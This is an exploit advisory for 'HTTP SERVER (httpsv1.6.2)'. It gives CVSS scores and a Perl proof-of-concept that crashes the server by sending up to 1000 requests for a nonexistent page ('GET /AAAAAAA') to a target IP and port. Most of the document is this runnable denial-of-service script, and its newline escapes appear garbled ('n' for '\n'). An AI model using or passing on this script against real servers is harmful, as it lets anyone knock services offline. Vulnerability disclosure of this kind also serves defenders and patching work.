HTTP SERVER (httpsv1.6.2) 404 Denial of Service

Credit: Prili
Risk: Low
Local: No
Remote: Yes
CWE: CWE-119

CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

HTTP SERVER (httpsv1.6.2) 404 Denial of Services Site: Info: If u send to the server between 40-1000 requests to nonexisting pages the process will die. Bug Found By Prili - imprili[at] POC: ---- #!/usr/bin/perl #GetOpt STD module use IO::Socket; use Getopt::Std; getopts(":i:p:",%args); if(defined $args{i}){ $ip = $args{i}; } if(defined $args{p}){ $port = $args{p}; } if(!defined $args{i} or !defined $args{p}){ print "-----------------------------------------------------n"; print "HTTP SERVER (httpsv1.6.2) 404 Denial of Servicen"; print "Site: "; print "Info: If u send to the server between 40-1000 requestsn"; print "to nonexisting pages the process will die.n"; print "Found By Prili - imprili[at]gmail.comn"; print "Usage: perl $0 -i <ip address> -p <port> n"; print "Thanks to shinnai for the inspiration.n"; print "-----------------------------------------------------n"; exit; } $protocol = "tcp"; while ($i<=1000) { $request = "GET /AAAAAAA HTTP/1.0 nn"; $socket = IO::Socket::INET->new(PeerAddr=>$ip, PeerPort=>$port, Proto=>$protocol, Timeout=>'1') || die "Can't connect to address!n"; print "sending request number $i...n"; print $socket $request; close($socket); $i++; }

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